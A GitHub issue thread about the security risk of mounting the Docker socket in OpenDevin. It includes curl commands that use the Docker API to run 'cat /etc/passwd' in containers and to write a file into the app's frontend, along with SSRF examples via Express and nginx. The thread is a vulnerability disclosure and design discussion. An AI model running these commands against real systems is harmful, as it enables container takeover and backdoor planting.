OpenHands icon indicating copy to clipboard operation
OpenHands copied to clipboard

Switch from DOOD to DIND

Open evrenyal opened this issue 9 months ago • 6 comments

Is there an existing issue for the same bug?

  • [X] I have checked the troubleshooting document at https://opendevin.github.io/OpenDevin/modules/usage/troubleshooting
  • [X] I have checked the existing issues.

Describe the bug

An attacker can completely compromise Docker containers by exposing the /var/run/docker.sock file. The default installation appears to have “/var/run/docker.sock:/var/run/docker.sock” defined. You can gain full control over the Docker Daemon by accessing docker.sock.

Normally, the command “docker exec -it container bash” can be used to run code in containers. It is also possible to run commands in docker containers with HTTP raw or curl commands. And with that it gives some ideas for SSRF scenarios.

I prepared a simple example about this. Use the docker api with curl to get the RCE in the container :

list all containers

curl -i -s --unix-socket /var/run/docker.sock -X GET http:/127.0.0.1/containers/json

use the returned id value.

curl -i -s --unix-socket /var/run/docker.sock -X POST \
  "http:/127.0.0.1/containers/interesting_mestorf/exec" \
  -H "Content-Type: application/json" \
  -d '{
      "AttachStdout": true,
      "AttachStderr": true,
      "Tty": false,
      "Cmd": ["cat", "/etc/passwd"]
      }'
HTTP/1.1 201 Created
Api-Version: 1.44
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/25.0.3 (linux)
Date: Fri, 10 May 2024 08:45:47 GMT
Content-Length: 74

{"Id":"89dd7d3fbf24bb71bcc107680e3a1dc0dc866f579f8d228a80ae936dbbb531ae"}
curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/89dd7d3fbf24bb71bcc107680e3a1dc0dc866f579f8d228a80ae936dbbb531ae/start
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.44
Docker-Experimental: false
Ostype: linux
Server: Docker/25.0.3 (linux)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
opendevin:x:42420:42420::/home/opendevin:/bin/bash
enduser:x:1000:42421::/home/enduser:/bin/bash

Current Version

opendevin:0.5

Installation and Configuration

https://opendevin.github.io/OpenDevin/

export WORKSPACE_BASE=$(pwd)/workspace

docker run \
    --pull=always \
    -e SANDBOX_USER_ID=$(id -u) \
    -e WORKSPACE_MOUNT_PATH=$WORKSPACE_BASE \
    -v $WORKSPACE_BASE:/opt/workspace_base \
    -v /var/run/docker.sock:/var/run/docker.sock \
    -p 3000:3000 \
    --add-host host.docker.internal:host-gateway \
    ghcr.io/opendevin/opendevin:0.5

Model and Agent

No response

Reproduction Steps

No response

Logs, Errors, Screenshots, and Additional Context

No response

evrenyal avatar May 10 '24 15:05 evrenyal

This is by design--it's a DOOD setup, though we're definitely interested in DIND for enhanced security.

Importantly, note that only the application has access to the docker API, not the sandbox environment. This volume isn't mounted in the sandbox.

rbren avatar May 10 '24 21:05 rbren

@rbren As far as I understand, the opendevin sandbox created from the main application is also affected by the unix socket. It is accessed directly as in the example below.

docker ps :

CONTAINER ID   IMAGE                             COMMAND                  CREATED          STATUS          PORTS                                           NAMES
6297e0bfbd68   ghcr.io/opendevin/sandbox:main    "/usr/sbin/sshd -D -…"   7 minutes ago    Up 7 minutes    0.0.0.0:36881->36881/tcp, :::36881->36881/tcp   opendevin-sandbox-e319df50-8032-4492-a111-fa6849f0913384488afe-8214-47ba-ba0d-f08418767bc0
6cb9679201d2   ollama/ollama                     "/bin/ollama serve"      55 minutes ago   Up 55 minutes   0.0.0.0:11434->11434/tcp, :::11434->11434/tcp   ollamaxyzp
fd3607724645   ghcr.io/opendevin/opendevin:0.5   "/app/entrypoint.sh …"   56 minutes ago   Up 56 minutes   0.0.0.0:3000->3000/tcp, :::3000->3000/tcp       inspiring_morse
curl -i -s --unix-socket /var/run/docker.sock -X POST \
  "http:/127.0.0.1/containers/opendevin-sandbox-e319df50-8032-4492-a111-fa6849f0913384488afe-8214-47ba-ba0d-f08418767bc0/exec" \
  -H "Content-Type: application/json" \
  -d '{
      "AttachStdout": true,
      "AttachStderr": true,
      "Tty": false,
      "Cmd": ["cat", "/etc/passwd"]
      }'


8d26087cfa6e5673c18751f0cf8b1cf65f7872cfbf2d187ff1719da21b8c8fca

curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/8d26087cfa6e5673c18751f0cf8b1cf65f7872cfbf2d187ff1719da21b8c8fca/start


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
opendevin:x:1000:0::/home/opendevin:/bin/bash

evrenyal avatar May 15 '24 14:05 evrenyal

You can also modify the codebase of the main application. In the simple example below I added localhost:3000/pwned.html. You can create a backdoor by modifying the index.html file.

curl -i -s --unix-socket /var/run/docker.sock -X POST \
  "http://127.0.0.1/containers/inspiring_morse/exec" \
  -H "Content-Type: application/json" \
  -d '{
      "AttachStdout": true,
      "AttachStderr": true,
      "Tty": false,
      "Cmd": ["sh", "-c", "echo 'pwnded' >> /app/frontend/dist/pwned.html"]
      }'


9d9f826d23d22e6c5ee8618a2556f214f95ad97393add5915a64080ef83c8b30

curl -i -s --unix-socket /var/run/docker.sock -X POST \
-H 'Content-Type: application/json' \
-d '{"Detach": false,"Tty": true}' \
http:/127.0.0.1/exec/9d9f826d23d22e6c5ee8618a2556f214f95ad97393add5915a64080ef83c8b30/start

root@fd3607724645:/app/frontend/dist# ls
android-chrome-192x192.png  apple-touch-icon.png  browserconfig.xml  favicon-32x32.png	index.html  mstile-150x150.png	robots.txt	       site.webmanifest
android-chrome-512x512.png  assets		  favicon-16x16.png  favicon.ico	locales     **pwned.html**		safari-pinned-tab.svg

evrenyal avatar May 15 '24 14:05 evrenyal

Looking through this now--let me check my understanding.

In the first example, you're running curl /var/run/docker.sock on your local machine, which allows you to muck about with the sandbox (running cat /etc/passwd). This is normal--the host machine should be able to do whatever it wants with the containers running inside it. Did I miss something there?

In the second example, again, you run curl /var/run/docker.sock on your local machine to mess with the application container image. Again--this seems like normal behavior, where the host machine can muck with the containers its hosting.

What would concern me is if you can run (pseudocode):

docker exec -it $SANDBOX_IMAGE curl /var/run/docker.sock

That is, if from inside the sandbox image, you're able to mess with docker. That definitely shouldn't be possible, and if it is there's a security hole. Because that means the LLM can escape its container and mess with the application and potentially the host machine.

rbren avatar May 15 '24 15:05 rbren

@rbren If I caused some confusion, let me try to express it more clearly.

As far as I understand, there are two situations here:

  • Finding a way to access the host from within Docker, i.e., from the sandbox. (I haven't tried this part.)
  • Another issue is that when we provide unix.socket access, unauthorized access to Docker via HTTP is also possible.

In the documentation at https://opendevin.github.io/OpenDevin/, it is mentioned as /var/run/docker.sock. Therefore, it seems highly likely that the end user will use it in this way.

In this case, it execute a Unix Domain Socket. Yes, I am local up to this point. Since I use the Docker API here, I wanted to demonstrate the impact there using curl.

The risk here arises from a vulnerability called Server-Side Request Forgery (SSRF). It is a security vulnerability that allows an attacker to use input from an untrusted source to make requests to other systems within the server's internal network or under its control.

Below, I made a simple example of how a unix.socket HTTP request can be made from an internal web application.

const express = require('express');
const axios = require('axios');

const app = express();
const port = 3000;
const dockerSocketPath = '/var/run/docker.sock';

const trustedIPs = ['127.0.0.1', '::1'];

const axiosInstance = axios.create({
    socketPath: dockerSocketPath,
    baseURL: 'http://localhost',
    timeout: 1000,
});

function validateRequest(req, res, next) {
    const clientIP = req.ip;
    if (!trustedIPs.includes(clientIP)) {
        return res.status(403).json({ error: 'Forbidden' });
    }
    next();
}

app.use(validateRequest);

app.get('/', (req, res) => {
    res.send('test');
});

app.get('/containers', async (req, res) => {
    try {
        const response = await axiosInstance.get('/containers/json');
        res.json(response.data);
    } catch (error) {
        res.status(500).json({ error: error.message });
    }
});

app.listen(port, () => {
    console.log(`Server listening at http://localhost:${port}`);
});

After starting the server, you can navigate to http://127.0.0.1:3000/containers to see the container list.

Additionally, I think Nginx misconfigurations can also lead to such SSRF vulnerabilities.

The proxy_pass feature in Nginx supports proxying requests to local unix sockets. What might be surprising is that the URI given to proxy_pass can be prefixed with http:// or as a UNIX-domain socket path specified after the word unix and enclosed in colons: proxy_pass http://unix:/var/run/docker.sock:/uri/; This means that in our example, we could make proxy_pass connect to a local unix socket and control parts of the data that would be sent to it. ref

evrenyal avatar May 16 '24 09:05 evrenyal

/var/run/docker.sock is open regardless of our app attaching to it though. E.g. even if you've never installed OpenDevin, you can still run

curl -i -s --unix-socket /var/run/docker.sock -X POST ...

Attaching to the socket just allows the OpenDevin app to use the same docker that's running on your local machine

rbren avatar May 16 '24 14:05 rbren

It really looks like this, you are right. It can be overlooked using “filter” but it still doesn't prevent it

evrenyal avatar May 17 '24 15:05 evrenyal